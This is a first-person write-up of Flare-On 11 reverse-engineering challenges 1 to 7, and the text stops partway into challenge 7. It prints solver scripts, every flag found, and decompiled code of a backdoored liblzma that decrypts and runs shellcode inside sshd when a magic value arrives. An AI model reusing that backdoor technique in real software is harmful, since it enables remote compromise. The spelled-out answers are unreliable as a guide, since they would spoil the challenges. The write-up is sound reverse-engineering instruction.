Forewords

First time player, first time finisher. Thank you FLARE team/MANDIANT for these great challenges in Flare-On 11 that really satisfied my appetite for high-quality inspirations of what could still be done in reverse engineering.

congratulations

ranking

A small number of long scripts in this post has been snipped out of actual data definitions for brevity and bandwidth, yet I am very glad to provide complete code if PM’d (via email, comments, etc. :wink:).



1 - frog

Welcome to Flare-On 11! Download this 7zip package, unzip it with the password ‘flare’, and read the README.txt file for launching instructions. It is written in PyGame so it may be runnable under many architectures, but also includes a pyinstaller created EXE file for easy execution on Windows. Your mission is get the frog to the “11” statue, and the game will display the flag. Enter the flag on this page to advance to the next stage. All flags in this event are formatted as email addresses ending with the @flare-on.com domain.

A basic understanding of Python and PyGame is everything we need.

victory_tile = pygame.Vector2(10, 10)

def GenerateFlagText(x, y):
    key = x + y*20
    encoded = "\xa5\xb7\xbe\xb1\xbd\xbf\xb7\x8d\xa6\xbd\x8d\xe3\xe3\x92\xb4\xbe\xb3\xa0\xb7\xff\xbd\xbc\xfc\xb1\xbd\xbf"
    return ''.join([chr(ord(c) ^ key) for c in encoded])
    
def main():
    ...
    while running:
        ...
        if not victory_mode:
            # are they on the victory tile? if so do victory
            if player.x == victory_tile.x and player.y == victory_tile.y:
                victory_mode = True
                flag_text = GenerateFlagText(player.x, player.y)
                flag_text_surface = flagfont.render(flag_text, False, pygame.Color('black'))
                print("%s" % flag_text)
x = y = 10
key = x + y*20
encoded = "\xa5\xb7\xbe\xb1\xbd\xbf\xb7\x8d\xa6\xbd\x8d\xe3\xe3\x92\xb4\xbe\xb3\xa0\xb7\xff\xbd\xbc\xfc\xb1\xbd\xbf"
print(''.join([chr(ord(c) ^ key) for c in encoded]))

welcome_to_11@flare-on.com

2 - checksum

We recently came across a silly executable that appears benign. It just asks us to do some math… From the strings found in the sample, we suspect there are more to the sample than what we are seeing. Please investigate and let us know what you find! 7zip archive password: flare

Rather straight forward Golang reverse engineering. Patching away the initial questions would get us straight to the decryption.

import base64
from pwn import xor

STR_MAIN_A_TARGET = "cQoFRQErX1YAVw1zVQdFUSxfAQNRBXUNAxBSe15QCVRVJ1pQEwd/WFBUAlElCFBFUnlaB1ULByRdBEFdfVtWVA=="

def gen_main_a_map(length: int) -> list[int]:
    l = []
    TABLE = b"FlareOn2024"
    for i in range(length):
        rdx_2 = ((i * 0x5d1745d1745d1746) & 0xffffffffffffffff0000000000000000) >> 64
        rax_3 = i - (rdx_2 // 4) * 0xb
        l.append(TABLE[rax_3])
    return l

buf = base64.b64decode(STR_MAIN_A_TARGET)
key = bytes(gen_main_a_map(len(buf)))
assert len(buf) == len(key)
cksm = xor(buf, key)
print(cksm)

Checksum: 7fd7dd1d0e959f74c133c13abb740b9faa61ab06bd0ecd177645e93b1e3825dd

challenge checksum exploit output

final output flag image

3 - aray

And now for something completely different. I’m pretty sure you know how to write Yara rules, but can you reverse them? 7zip archive password: flare

YARA rules are useful in searching for patterns in binary and text files, especially when used as heuristics for malwares.

The handout of this challenge is a YARA source file, from which we can extract required constraints via a script and use Z3 Solver to find the result satisfying all the predicates.

import hashlib
import itertools as it
import re
import string
import typing as ty
from zlib import crc32

import z3
from pwn import error, info, success, warn

RESTR_ATOM_REF8 = r"uint8**\(**([0-9]+)**\)**"
RESTR_ATOM_REF32 = r"uint32**\(**([0-9]+)**\)**"
RESTR_ATOM_DEC = r"([0-9]+)"
RESTR_ATOM_HEX = r"(0x[0-9a-f]+)"
RESTR_ATOM_HEXSTR = r"**\"**([0-9a-f]+)**\"**"
RESTR_ATOM_HASH = r"hash.(sha256|md5|crc32)**\(**([0-9]+), ([0-9]+)**\)**"
RESTR_ATOM_CMP = r"(==|!=|<|>)"
RESTR_ATOM_OP = r"(**\^**|&|%|**\+**|-)"

RE_STMT_SIMPLE8 = re.compile(f"^{RESTR_ATOM_REF8} {RESTR_ATOM_CMP} {RESTR_ATOM_DEC}$")
RE_STMT_BINOP8_L = re.compile(
    f"^{RESTR_ATOM_REF8} {RESTR_ATOM_OP} {RESTR_ATOM_DEC} {RESTR_ATOM_CMP} {RESTR_ATOM_DEC}$"
)
RE_STMT_BINOP8_R = re.compile(
    f"^{RESTR_ATOM_DEC} {RESTR_ATOM_OP} {RESTR_ATOM_REF8} {RESTR_ATOM_CMP} {RESTR_ATOM_DEC}$"
)
RE_STMT_BINOP32_L = re.compile(
    f"^{RESTR_ATOM_REF32} {RESTR_ATOM_OP} {RESTR_ATOM_DEC} {RESTR_ATOM_CMP} {RESTR_ATOM_DEC}$"
)
RE_STMT_HASH_STR = re.compile(
    f"^{RESTR_ATOM_HASH} {RESTR_ATOM_CMP} {RESTR_ATOM_HEXSTR}$"
)
RE_STMT_HASH_HEX = re.compile(f"^{RESTR_ATOM_HASH} {RESTR_ATOM_CMP} {RESTR_ATOM_HEX}$")

with open("aray/constraints.txt", "rt") as f:
    constraints = [
        constr.strip() for constr in f.read().replace("filesize", "85").split(" and ")
    ][1:]

N_UNKNOWNS = 85
UNK_WIDTH = 8

x = [z3.BitVec(f"x_{i}", UNK_WIDTH) for i in range(N_UNKNOWNS)]

solver = z3.Solver()

hash_constrs: list[tuple[str, str, int, int, str]] = []
for constr in constraints:
    match RE_STMT_SIMPLE8.match(constr):
        case None:
            pass
        case m:
            ref_id = int(m.group(1))
            cmp_op = m.group(2)
            lit_val = z3.BitVecVal(int(m.group(3)), 8)
            if cmp_op == "==":
                expr = x[ref_id] == lit_val
            elif cmp_op == "!=":
                expr = x[ref_id] != lit_val
            elif cmp_op == "<":
                expr = z3.ULT(x[ref_id], lit_val)
            elif cmp_op == ">":
                expr = z3.UGT(x[ref_id], lit_val)
            else:
                assert 0, cmp_op
            solver.add(expr)
            continue
    match RE_STMT_BINOP8_L.match(constr):
        case None:
            pass
        case m:
            ref_id = int(m.group(1))
            op = m.group(2)
            lit_val1 = z3.BitVecVal(int(m.group(3)), 8)
            cmp_op = m.group(4)
            lit_val2 = z3.BitVecVal(int(m.group(5)), 8)
            if op == "^":
                lhs = x[ref_id] ^ lit_val1
            elif op == "&":
                lhs = x[ref_id] & lit_val1
            elif op == "%":
                lhs = z3.URem(x[ref_id], lit_val1)
            elif op == "+":
                lhs = x[ref_id] + lit_val1
            elif op == "-":
                lhs = x[ref_id] - lit_val1
            else:
                assert 0, op
            if cmp_op == "==":
                expr = lhs == lit_val2
            elif cmp_op == "!=":
                expr = lhs != lit_val2
            elif cmp_op == "<":
                expr = z3.ULT(lhs, lit_val2)
            elif cmp_op == ">":
                expr = z3.UGT(lhs, lit_val2)
            else:
                assert 0, cmp_op
            solver.add(expr)
            continue
    match RE_STMT_BINOP8_R.match(constr):
        case None:
            pass
        case m:
            lit_val1 = z3.BitVecVal(int(m.group(1)), 8)
            op = m.group(2)
            ref_id = int(m.group(3))
            cmp_op = m.group(4)
            lit_val2 = z3.BitVecVal(int(m.group(5)), 8)
            if op == "^":
                lhs = x[ref_id] ^ lit_val1
            elif op == "&":
                lhs = x[ref_id] & lit_val1
            elif op == "%":
                lhs = z3.URem(x[ref_id], lit_val1)
            elif op == "+":
                lhs = x[ref_id] + lit_val1
            elif op == "-":
                lhs = x[ref_id] - lit_val1
            else:
                assert 0, op
            if cmp_op == "==":
                expr = lhs == lit_val2
            elif cmp_op == "!=":
                expr = lhs != lit_val2
            elif cmp_op == "<":
                expr = z3.ULT(lhs, lit_val2)
            elif cmp_op == ">":
                expr = z3.UGT(lhs, lit_val2)
            else:
                assert 0, cmp_op
            solver.add(expr)
            continue
    match RE_STMT_BINOP32_L.match(constr):
        case None:
            pass
        case m:
            ref_id = int(m.group(1))
            ref = z3.Concat(x[ref_id + 3], x[ref_id + 2], x[ref_id + 1], x[ref_id])
            op = m.group(2)
            lit_val1 = z3.BitVecVal(int(m.group(3)), 32)
            cmp_op = m.group(4)
            lit_val2 = z3.BitVecVal(int(m.group(5)), 32)
            if op == "^":
                lhs = ref ^ lit_val1
            elif op == "+":
                lhs = ref + lit_val1
            elif op == "-":
                lhs = ref - lit_val1
            else:
                assert 0, op
            if cmp_op == "==":
                expr = lhs == lit_val2
            else:
                assert 0, cmp_op
            solver.add(expr)
            continue
    match RE_STMT_HASH_STR.match(constr):
        case None:
            pass
        case m:
            hash_constrs.append(
                (constr, m.group(1), int(m.group(2)), int(m.group(3)), m.group(5))
            )
            continue
    match RE_STMT_HASH_HEX.match(constr):
        case None:
            pass
        case m:
            hash_constrs.append(
                (constr, m.group(1), int(m.group(2)), int(m.group(3)), m.group(5))
            )
            continue
    assert 0, constr

if solver.check() != z3.sat:
    error("Unsat")
    exit(1)

info("Hash constraints:")
for hash_constr in hash_constrs:
    info(hash_constr)

result: list[ty.Any] = [0] * N_UNKNOWNS
m = solver.model()
for d in m.decls():
    result[int(d.name()[2:])] = m[d].as_long()  # type: ignore

buf = bytearray(result)
info(buf.decode("ascii", errors="replace"))

ALPHABET = (string.printable).encode("ascii")
for hash_constr in hash_constrs:
    if hash_constr[1] == "sha256":
        for comb in it.product(ALPHABET, repeat=hash_constr[3]):
            hasher = hashlib.sha256()
            hasher.update(bytes(comb))
            if hasher.digest() == bytes.fromhex(hash_constr[4]):
                info(f"Found correct sha256 for {hash_constr[0]}: {bytes(comb)}")
                for i, c in enumerate(comb):
                    result[hash_constr[2] + i] = c
                break
    elif hash_constr[1] == "md5" and hash_constr[3] <= 8:
        for comb in it.product(ALPHABET, repeat=hash_constr[3]):
            hasher = hashlib.md5()
            hasher.update(bytes(comb))
            if hasher.digest() == bytes.fromhex(hash_constr[4]):
                info(f"Found correct md5 for {hash_constr[0]}: {bytes(comb)}")
                for i, c in enumerate(comb):
                    result[hash_constr[2] + i] = c
                break
    elif hash_constr[1] == "crc32":
        for comb in it.product(ALPHABET, repeat=hash_constr[3]):
            digest = crc32(bytes(comb))
            if digest == int(hash_constr[4], 0):
                info(f"Found correct crc32 for {hash_constr[0]}: {bytes(comb)}")
                for i, c in enumerate(comb):
                    result[hash_constr[2] + i] = c
                break
    else:
        warn(f"UNIMP {hash_constr[0]}")

assert hash_constrs[0][1] == "md5"
hasher = hashlib.md5()
hasher.update(bytes(result))
assert hasher.digest() == bytes.fromhex(hash_constrs[0][4])
success(bytes(result).decode("ascii", errors="replace"))
rule flareon { strings: $f = "1RuleADayK33p$Malw4r3Aw4y@flare-on.com" condition: $f }

1RuleADayK33p$Malw4r3Aw4y@flare-on.com

4 - Meme Maker 3000

You’ve made it very far, I’m proud of you even if noone else is. You’ve earned yourself a break with some nice HTML and JavaScript before we get into challenges that may require you to be very good at computers. 7zip archive password: flare

Straightforward JavaScript reverse engineering. More often than not, running critical or suspicious snippets in your browser or Node.js is really beneficial.

function a0k() {
  const t = a0p,
    a = a0g[t(0xa1d)]["split"]("/")[t(0x7e8)]();
  if (a !== Object[t(0x59c5)](a0e)[0x5]) return;
  const b = a0l["textCo" + "ntent"],
    c = a0m[t(0x10f5a) + t(0x125ab)],
    d = a0n["textCo" + "ntent"];
  if (
    a0c[t(0x12d23) + "f"](b) == 0xe &&
    a0c[t(0x12d23) + "f"](c) == a0c[t(0x1544d)] - 0x1 &&
    a0c[t(0x12d23) + "f"](d) == 0x16
  ) {
    var e = new Date()[t(0x1094a) + "e"]();
    while (new Date()[t(0x1094a) + "e"]() < e + 0xbb8) {}
    var f =
      d[0x3] +
      "h" +
      a[0xa] +
      b[0x2] +
      a[0x3] +
      c[0x5] +
      c[c[t(0x1544d)] - 0x1] +
      "5" +
      a[0x3] +
      "4" +
      a[0x3] +
      c[0x2] +
      c[0x4] +
      c[0x3] +
      "3" +
      d[0x2] +
      a[0x3] +
      "j4" +
      a0c[0x1][0x2] +
      d[0x4] +
      "5" +
      c[0x2] +
      d[0x5] +
      "1" +
      c[0xb] +
      "7" +
      a0c[0x15][0x1] +
      b[t(0x15e39) + "e"]("\x20", "-") +
      a[0xb] +
      a0c[0x4][t(0x9a82) + t(0x1656b)](0xc, 0xf);
    (f = f[t(0x143fc) + t(0x8c67)]()),
      alert(
        atob(
          t(0x14e2b) +
            t(0x4c22) +
            "YXRpb2" +
            t(0x1708e) +
            t(0xaa98) +
            t(0x16697) +
            t(0x109c4)
        ) + f
      );
  }
}

meme maker devtools 1

meme maker devtools 2

meme maker devtools 3

meme maker final arrangement

meme maker result

wh0a_it5_4_cru3l_j4va5cr1p7@flare-on.com

5 - sshd

Our server in the FLARE Intergalactic HQ has crashed! Now criminals are trying to sell me my own data!!! Do your part, random internet hacker, to help FLARE out and tell us what data they stole! We used the best forensic preservation technique of just copying all the files on the system for you. 7zip archive password: flare

In fact I didn’t even think about the XZ backdoor when solving this challenge. It can be done simply as a normal forensics and RE task.

First clue of the compromised library comes from the mismatched hash when trying to download and load debug symbols in GDB. I spun up a VPS running exactly the same version of Debian and related libraries to ensure a consistent environment before proceeding.

The coredump makes multiple references to liblzma.so.5.

sshd 1

There is a suspicious ChaCha20 sigma constant here.

sshd 2

BinDiff’ing given liblzma.so.5.4.1 with a normal distributed library (which is actually liblzma.so.5.6.2):

sshd 3

We can see the backdoored liblzma patches loaded RSA_public_decrypt for RCE, yet the name was wrong (a space being erroneously appended).

sshd 4 sshd 5 sshd 6

void __fastcall init_crypt_state(state *buf, const uint32_t *key, const uint32_t *nonce, __int64 ctr)
{
  unsigned __int64 v5; // rdi
  uint32_t v7; // ecx
  uint32_t v8; // ecx
  uint32_t v9; // edx
  uint32_t v10; // eax

  *(_QWORD *)buf->x = 0LL;
  v5 = (unsigned __int64)&buf->x[2];
  *(_QWORD *)(v5 + 176) = 0LL;
  memset((void *)(v5 & 0xFFFFFFFFFFFFFFF8LL), 0, 8 * (((unsigned int)buf - (v5 & 0xFFFFFFF8) + 192) >> 3));
  *(__m128i *)buf->what_key = _mm_loadu_si128((const __m128i *)key);
  *(__m128i *)&buf->what_key[4] = _mm_loadu_si128((const __m128i *)key + 1);
  *(_QWORD *)buf->what_nonce = *(_QWORD *)nonce;
  v7 = nonce[2];
  qmemcpy(buf->chacha20_sigma, "expand 32-byte k", sizeof(buf->chacha20_sigma));
  buf->what_nonce[2] = v7;
  buf->chacha20_key[0] = *key;
  buf->chacha20_key[1] = key[1];
  buf->chacha20_key[2] = key[2];
  buf->chacha20_key[3] = key[3];
  buf->chacha20_key[4] = key[4];
  buf->chacha20_key[5] = key[5];
  buf->chacha20_key[6] = key[6];
  v8 = key[7];
  buf->chacha20_nonce[0] = 0;
  buf->chacha20_key[7] = v8;
  buf->chacha20_nonce[1] = *nonce;
  buf->chacha20_nonce[2] = nonce[1];
  buf->chacha20_nonce[3] = nonce[2];
  *(_QWORD *)buf->what_nonce = *(_QWORD *)nonce;
  v9 = nonce[2];
  v10 = buf->what_nonce[0] + HIDWORD(ctr);
  buf->chacha20_nonce[0] = ctr;
  buf->what_nonce[2] = v9;
  buf->chacha20_nonce[1] = v10;
  buf->what_ctr = ctr;
  buf->rem = 64LL;
}

int __fastcall RSA_public_decrypt_patched(int flen, unsigned __int8 *from, unsigned __int8 *to, void *rsa, int padding)
{
  const char *v9; // rsi
  void *old_func; // rax
  void *mshellcode; // rax
  void (*fshellcode)(void); // [rsp+8h] [rbp-120h]
  state state; // [rsp+20h] [rbp-108h] BYREF
  unsigned __int64 v15; // [rsp+E8h] [rbp-40h]

  v15 = __readfsqword(0x28u);
  v9 = "RSA_public_decrypt";
  if ( !getuid() )
  {
    if ( *(_DWORD *)from == 0xC5407A48 )
    {
      init_crypt_state(&state, (const uint32_t *)from + 1, (const uint32_t *)from + 9, 0LL);
      mshellcode = mmap(0LL, len_shellcode, 7, 34, -1, 0LL);
      fshellcode = (void (*)(void))memcpy(mshellcode, &shellcode, len_shellcode);
      do_some_enc(&state, fshellcode, len_shellcode);
      fshellcode();
      init_crypt_state(&state, (const uint32_t *)from + 1, (const uint32_t *)from + 9, 0LL);
      do_some_enc(&state, fshellcode, len_shellcode);
    }
    v9 = "RSA_public_decrypt ";
  }
  old_func = dlsym(0LL, v9);
  return ((__int64 (__fastcall *)(_QWORD, unsigned __int8 *, unsigned __int8 *, void *, _QWORD))old_func)(
           (unsigned int)flen,
           from,
           to,
           rsa,
           (unsigned int)padding);
}

Recovering ChaCha20 parameters allows us to write a CyberChef recipe to decrypt the shellcode.

sshd 7

sshd 8

Note the capital K here.

Then browse the stack according to calculated offsets to find received keys and encrypted file content.

sshd 9

sshd 10

sshd 11

sshd 12

Decrypt to find the flag.

/*
 *  Copyright (C) 2024 Rong "Mantle" Bao
 * 
 *  This script uses <https://github.com/marcizhu/ChaCha20/>.
 *
 *  Copyright (C) 2022 Marc Izquierdo
 *
 *  Permission is hereby granted, free of charge, to any person obtaining a
 *  copy of this software and associated documentation files (the "Software"),
 *  to deal in the Software without restriction, including without limitation
 *  the rights to use, copy, modify, merge, publish, distribute, sublicense,
 *  and/or sell copies of the Software, and to permit persons to whom the
 *  Software is furnished to do so, subject to the following conditions:
 *
 *  The above copyright notice and this permission notice shall be included in
 *  all copies or substantial portions of the Software.
 *
 *  THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR
 *  IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY,
 *  FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE
 *  AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER
 *  LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING
 *  FROM, OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER
 *  DEALINGS IN THE SOFTWARE.
 */

#include <assert.h>
#include <stddef.h>
#include <stdint.h>
#include <stdio.h>

typedef uint8_t key256_t[32];
typedef uint8_t nonce96_t[12];

typedef struct {
    uint32_t state[4 * 4];
} ChaCha20_Ctx;

// Note the changed constant
#define CHACHA20_CONSTANT "expand 32-byte K"
#define CHACHA20_ROTL(x, n) (((x) << (n)) | ((x) >> (32 - (n))))
#define CHACHA20_QR(a, b, c, d)   \
    a += b;                       \
    d = CHACHA20_ROTL(d ^ a, 16); \
    c += d;                       \
    b = CHACHA20_ROTL(b ^ c, 12); \
    a += b;                       \
    d = CHACHA20_ROTL(d ^ a, 8);  \
    c += d;                       \
    b = CHACHA20_ROTL(b ^ c, 7)

static uint32_t pack4(const uint8_t* a) {
    uint32_t res = (uint32_t)a[0] << 0 * 8 | (uint32_t)a[1] << 1 * 8 |
                   (uint32_t)a[2] << 2 * 8 | (uint32_t)a[3] << 3 * 8;

    return res;
}

static void ChaCha20_block_next(const uint32_t in[16], uint32_t out[16],
                                uint8_t** keystream) {
    for (int i = 0; i < 4 * 4; i++) out[i] = in[i];

    // Round 1/10
    CHACHA20_QR(out[0], out[4], out[8], out[12]);   // Column 0
    CHACHA20_QR(out[1], out[5], out[9], out[13]);   // Column 1
    CHACHA20_QR(out[2], out[6], out[10], out[14]);  // Column 2
    CHACHA20_QR(out[3], out[7], out[11], out[15]);  // Column 3
    CHACHA20_QR(out[0], out[5], out[10],
                out[15]);  // Diagonal 1 (main diagonal)
    CHACHA20_QR(out[1], out[6], out[11], out[12]);  // Diagonal 2
    CHACHA20_QR(out[2], out[7], out[8], out[13]);   // Diagonal 3
    CHACHA20_QR(out[3], out[4], out[9], out[14]);   // Diagonal 4

    // Round 2/10
    CHACHA20_QR(out[0], out[4], out[8], out[12]);
    CHACHA20_QR(out[1], out[5], out[9], out[13]);
    CHACHA20_QR(out[2], out[6], out[10], out[14]);
    CHACHA20_QR(out[3], out[7], out[11], out[15]);
    CHACHA20_QR(out[0], out[5], out[10], out[15]);
    CHACHA20_QR(out[1], out[6], out[11], out[12]);
    CHACHA20_QR(out[2], out[7], out[8], out[13]);
    CHACHA20_QR(out[3], out[4], out[9], out[14]);

    // Round 3/10
    CHACHA20_QR(out[0], out[4], out[8], out[12]);
    CHACHA20_QR(out[1], out[5], out[9], out[13]);
    CHACHA20_QR(out[2], out[6], out[10], out[14]);
    CHACHA20_QR(out[3], out[7], out[11], out[15]);
    CHACHA20_QR(out[0], out[5], out[10], out[15]);
    CHACHA20_QR(out[1], out[6], out[11], out[12]);
    CHACHA20_QR(out[2], out[7], out[8], out[13]);
    CHACHA20_QR(out[3], out[4], out[9], out[14]);

    // Round 4/10
    CHACHA20_QR(out[0], out[4], out[8], out[12]);
    CHACHA20_QR(out[1], out[5], out[9], out[13]);
    CHACHA20_QR(out[2], out[6], out[10], out[14]);
    CHACHA20_QR(out[3], out[7], out[11], out[15]);
    CHACHA20_QR(out[0], out[5], out[10], out[15]);
    CHACHA20_QR(out[1], out[6], out[11], out[12]);
    CHACHA20_QR(out[2], out[7], out[8], out[13]);
    CHACHA20_QR(out[3], out[4], out[9], out[14]);

    // Round 5/10
    CHACHA20_QR(out[0], out[4], out[8], out[12]);
    CHACHA20_QR(out[1], out[5], out[9], out[13]);
    CHACHA20_QR(out[2], out[6], out[10], out[14]);
    CHACHA20_QR(out[3], out[7], out[11], out[15]);
    CHACHA20_QR(out[0], out[5], out[10], out[15]);
    CHACHA20_QR(out[1], out[6], out[11], out[12]);
    CHACHA20_QR(out[2], out[7], out[8], out[13]);
    CHACHA20_QR(out[3], out[4], out[9], out[14]);

    // Round 6/10
    CHACHA20_QR(out[0], out[4], out[8], out[12]);
    CHACHA20_QR(out[1], out[5], out[9], out[13]);
    CHACHA20_QR(out[2], out[6], out[10], out[14]);
    CHACHA20_QR(out[3], out[7], out[11], out[15]);
    CHACHA20_QR(out[0], out[5], out[10], out[15]);
    CHACHA20_QR(out[1], out[6], out[11], out[12]);
    CHACHA20_QR(out[2], out[7], out[8], out[13]);
    CHACHA20_QR(out[3], out[4], out[9], out[14]);

    // Round 7/10
    CHACHA20_QR(out[0], out[4], out[8], out[12]);
    CHACHA20_QR(out[1], out[5], out[9], out[13]);
    CHACHA20_QR(out[2], out[6], out[10], out[14]);
    CHACHA20_QR(out[3], out[7], out[11], out[15]);
    CHACHA20_QR(out[0], out[5], out[10], out[15]);
    CHACHA20_QR(out[1], out[6], out[11], out[12]);
    CHACHA20_QR(out[2], out[7], out[8], out[13]);
    CHACHA20_QR(out[3], out[4], out[9], out[14]);

    // Round 8/10
    CHACHA20_QR(out[0], out[4], out[8], out[12]);
    CHACHA20_QR(out[1], out[5], out[9], out[13]);
    CHACHA20_QR(out[2], out[6], out[10], out[14]);
    CHACHA20_QR(out[3], out[7], out[11], out[15]);
    CHACHA20_QR(out[0], out[5], out[10], out[15]);
    CHACHA20_QR(out[1], out[6], out[11], out[12]);
    CHACHA20_QR(out[2], out[7], out[8], out[13]);
    CHACHA20_QR(out[3], out[4], out[9], out[14]);

    // Round 9/10
    CHACHA20_QR(out[0], out[4], out[8], out[12]);
    CHACHA20_QR(out[1], out[5], out[9], out[13]);
    CHACHA20_QR(out[2], out[6], out[10], out[14]);
    CHACHA20_QR(out[3], out[7], out[11], out[15]);
    CHACHA20_QR(out[0], out[5], out[10], out[15]);
    CHACHA20_QR(out[1], out[6], out[11], out[12]);
    CHACHA20_QR(out[2], out[7], out[8], out[13]);
    CHACHA20_QR(out[3], out[4], out[9], out[14]);

    // Round 10/10
    CHACHA20_QR(out[0], out[4], out[8], out[12]);
    CHACHA20_QR(out[1], out[5], out[9], out[13]);
    CHACHA20_QR(out[2], out[6], out[10], out[14]);
    CHACHA20_QR(out[3], out[7], out[11], out[15]);
    CHACHA20_QR(out[0], out[5], out[10], out[15]);
    CHACHA20_QR(out[1], out[6], out[11], out[12]);
    CHACHA20_QR(out[2], out[7], out[8], out[13]);
    CHACHA20_QR(out[3], out[4], out[9], out[14]);

    for (int i = 0; i < 4 * 4; i++) out[i] += in[i];

    if (keystream != NULL) *keystream = (uint8_t*)out;
}

void ChaCha20_init(ChaCha20_Ctx* ctx, const key256_t key, const nonce96_t nonce,
                   uint32_t count) {
    ctx->state[0] = pack4((const uint8_t*)CHACHA20_CONSTANT + 0 * 4);
    ctx->state[1] = pack4((const uint8_t*)CHACHA20_CONSTANT + 1 * 4);
    ctx->state[2] = pack4((const uint8_t*)CHACHA20_CONSTANT + 2 * 4);
    ctx->state[3] = pack4((const uint8_t*)CHACHA20_CONSTANT + 3 * 4);
    ctx->state[4] = pack4(key + 0 * 4);
    ctx->state[5] = pack4(key + 1 * 4);
    ctx->state[6] = pack4(key + 2 * 4);
    ctx->state[7] = pack4(key + 3 * 4);
    ctx->state[8] = pack4(key + 4 * 4);
    ctx->state[9] = pack4(key + 5 * 4);
    ctx->state[10] = pack4(key + 6 * 4);
    ctx->state[11] = pack4(key + 7 * 4);
    ctx->state[12] = count;
    ctx->state[13] = pack4(nonce + 0 * 4);
    ctx->state[14] = pack4(nonce + 1 * 4);
    ctx->state[15] = pack4(nonce + 2 * 4);
}

void ChaCha20_xor(ChaCha20_Ctx* ctx, uint8_t* buffer, size_t bufflen) {
    uint32_t tmp[4 * 4];
    uint8_t* keystream = NULL;

    for (size_t i = 0; i < bufflen; i += 64) {
        ChaCha20_block_next(ctx->state, tmp, &keystream);
        ctx->state[12]++;

        if (ctx->state[12] == 0) {
            ctx->state[13]++;
            assert(ctx->state[13] != 0);
        }

        for (size_t j = i; j < i + 64; j++) {
            if (j >= bufflen) break;

            buffer[j] = buffer[j] ^ keystream[j - i];
        }
    }
}

int main(void) {
    static key256_t key = {0x8d, 0xec, 0x91, 0x12, 0xeb, 0x76, 0x0e, 0xda,
                           0x7c, 0x7d, 0x87, 0xa4, 0x43, 0x27, 0x1c, 0x35,
                           0xd9, 0xe0, 0xcb, 0x87, 0x89, 0x93, 0xb4, 0xd9,
                           0x04, 0xae, 0xf9, 0x34, 0xfa, 0x21, 0x66, 0xd7};

    static nonce96_t nonce = {0x11, 0x11, 0x11, 0x11, 0x11, 0x11,
                              0x11, 0x11, 0x11, 0x11, 0x11, 0x11};

    uint32_t count = 0;

    static uint8_t data[] = {0xa9, 0xf6, 0x34, 0x08, 0x42, 0x2a, 0x9e, 0x1c,
                             0x0c, 0x03, 0xa8, 0x08, 0x94, 0x70, 0xbb, 0x8d,
                             0xaa, 0xdc, 0x6d, 0x7b, 0x24, 0xff, 0x7f, 0x24,
                             0x7c, 0xda, 0x83, 0x9e, 0x92, 0xf7, 0x07, 0x1d};

    ChaCha20_Ctx ctx;
    ChaCha20_init(&ctx, key, nonce, count);
    ChaCha20_xor(&ctx, data, sizeof(data));
    for (size_t i = 0; i < sizeof data; i++) {
        putchar(data[i]);
    }
    return 0;
}

supp1y_cha1n_sund4y@flare-on.com

6 - bloke2

You’ve been so helpful lately, and that was very good work you did. Yes, I’m going to put it right here, on the refrigerator, very good job indeed. You’re the perfect person to help me with another issue that come up. One of our lab researchers has mysteriously disappeared. He was working on the prototype for a hashing IP block that worked very much like, but not identically to, the common Blake2 hash family. Last we heard from him, he was working on the testbenches for the unit. One of his labmates swears she knew of a secret message that could be extracted with the testbenches, but she couldn’t quite recall how to trigger it. Maybe you could help? 7zip archive password: flare

Verilog is nothing new to me, so solving this challenge took little. However, a hex constant sticking out in any source code would be obvious to careful analyists, so the problem would reduce to how exactly can we trigger the correct state.

It is not difficult to spot a test flag which is loaded while asserting both finish and start.

    always @(posedge clk) begin
        if (rst | start) begin
            ...
            tst <= finish;
        end else begin
            ...
        end
    end

    localparam TEST_VAL = 512'h3c9cf0addf2e45ef548b011f736cc99144bdfee0d69df4090c8a39c520e18ec3bdc1277aad1706f756affca41178dac066e4beb8ab7dd2d1402c4d624aaabe40;
 
    always @(posedge clk) begin
        if (rst) begin
            ...
        end else begin
                ...
                h <= h_in ^ (TEST_VAL & {(W*16){tst}});
        end
    end
        start <= 1'b1;
        finish <= 1'b1;
        @(posedge clk);
        start <= 1'b0;
        finish <= 1'b0;

please_send_help_i_am_trapped_in_a_ctf_flag_factory@flare-on.com

7 - fullspeed

Has this all been far too easy? Where’s the math? Where’s the science? Where’s the, I don’t know…. cryptography? Well we don’t know about any of that, but here is a little .NET binary to chew on while you discuss career changes with your life coach. 7zip archive password: flare

This is a RE challenge with a crypto filling, yet the attack here does not require a lot of maths or reasoning. Symbol recovery is done via compiling a BouncyCastle .NET 8 AOT program then BinDiff-ing it with the handout binary. Afterwards, finding the exploitable properties of the given curve is rudimentary.

void init_statics()
{
  // [COLLAPSED LOCAL DECLARATIONS. PRESS KEYPAD CTRL-"+" TO EXPAND]

  curve_q = RhpNewFast(&unk_14015B268);
  s_q = dec_str(&STR_Q);
  BouncyCastle_Cryptography_Org_BouncyCastle_Math_BigInteger___ctor_1(curve_q, (__int64)s_q, 16);
  curve_a = RhpNewFast(&unk_14015B268);
  s_a = dec_str(&STR_A);
  BouncyCastle_Cryptography_Org_BouncyCastle_Math_BigInteger___ctor_1(curve_a, (__int64)s_a, 16);
  curve_b = RhpNewFast(&unk_14015B268);
  s_b = dec_str(&STR_B);
  BouncyCastle_Cryptography_Org_BouncyCastle_Math_BigInteger___ctor_1(curve_b, (__int64)s_b, 16);
  gen_x = RhpNewFast(&unk_14015B268);
  v7 = dec_str(&STR_GEN_X);
  BouncyCastle_Cryptography_Org_BouncyCastle_Math_BigInteger___ctor_1(gen_x, (__int64)v7, 16);
  gen_y = RhpNewFast(&unk_14015B268);
  v9 = dec_str(&STR_GEN_Y);
  BouncyCastle_Cryptography_Org_BouncyCastle_Math_BigInteger___ctor_1(gen_y, (__int64)v9, 16);
  curve = RhpNewFast(&unk_14015B618);
  BouncyCastle_Cryptography_Org_BouncyCastle_Math_EC_FpCurve___ctor_1(curve, curve_q, curve_a, curve_b, 0i64, 0i64, 0);
  if ( qword_140158FC0[-1] )
    _GetGCStaticBase_System_Net_Sockets_System_Net_Sockets_SocketsTelemetry();
  v11 = glb_obj_state;
  RhpAssignRefAVLocation(&glb_obj_state->curve, curve);
